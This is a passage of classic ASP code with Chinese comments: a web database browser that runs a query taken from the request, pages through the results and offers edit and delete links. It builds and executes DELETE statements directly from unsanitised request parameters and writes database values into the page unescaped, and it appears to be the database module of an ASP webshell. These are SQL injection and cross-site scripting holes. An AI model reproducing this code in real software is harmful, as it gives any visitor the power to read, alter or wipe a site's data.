<> "" then
strdel = "delete from " & request("table_name") & " where " & request("primarykey") & "=" & request("keylog")
response.Write strdel
conn.execute(strdel)
geturl = "?" & replace(request.QueryString,"&keylog="&request("keylog"),"")
response.Redirect geturl
end if
page = request("page") ''设置当前显示的页数
if page="" or not isNumeric(page) then page=1
pageUrl = "?key=sql&sql=" & sql
if request("primarykey") <> "" and request("table_name") <> "" then
pageUrl = pageUrl & "&table_name=" & request("table_name") & "&primarykey=" & request("primarykey")
end if
''--------------------------
dim rs
set rs = Server.CreateObject("ADODB.Recordset")
rs.Open sql,conn,3
if not rs.eof then
rs.pageSize = pageSize
if cint(page) < 1 then page = 1
if cint(page) > rs.PageCount then page = rs.PageCount
rs.absolutePage = page
end if
''显示分页导航
showNavBar rs,page,pageUrl,pageSize
''-------------------------------
echo "<div style=''overflow-x:auto;overflow-y:auto; width:800;height:380;''>"
echo "<table border=0 border=0 cellpadding=3 cellspacing=1 bgcolor=#CCCCCC><tr>"
primarykey = request("primarykey")
if primarykey <> "" and request("table_name") <> "" then
echo "<td bgcolor=#ffffff>操作</td><td bgcolor=#ffffff>删</td>"
end if
for i = 0 to rs.fields.count - 1 ''循环字段名
set field = rs.fields.item(i)
echo "<td bgcolor=#ffffff>" & field.name & " </td>"
next
echo "</tr>"
dim i,field,j
do while not rs.eof and j < rs.pageSize ''循环数据
echo "<tr>"
if primarykey <> "" and request("table_name") <> "" then
echo "<td bgcolor=#ffffff nowrap><a href=''?key=edit&table_name=" & request("table_name") & "&primarykey=" & primarykey & "&primarykeyvalue=" & rs(primarykey) & "''><font color=#666666>编辑</font></a></td>"
echo "<td><a href=''?"&Request.QueryString&"&keylog="&rs(primarykey)&"'' onClick=''return table_delete();''><font color=#FF000>×</font></a></td>"
end if
for i = 0 to rs.fields.count - 1
set field = rs.fields.item(i)
if len(field.value) < 12 then
echo "<td bgcolor=#ffffff nowrap>" & field.value & " </td>"
else
echo "<td bgcolor=''#ffffff''><span class=''fixspan''>" & field.value & " </span></td>"
end if
next
echo "</tr>"
rs.MoveNext
j = j + 1
loop
''response.ContentType ="application/vnd.ms-excel"''生成EXCEL表格
echo "</table></div>"
end sub
sub exesql(sql)
on error resume next
''==================================================================执行sql函数
if trim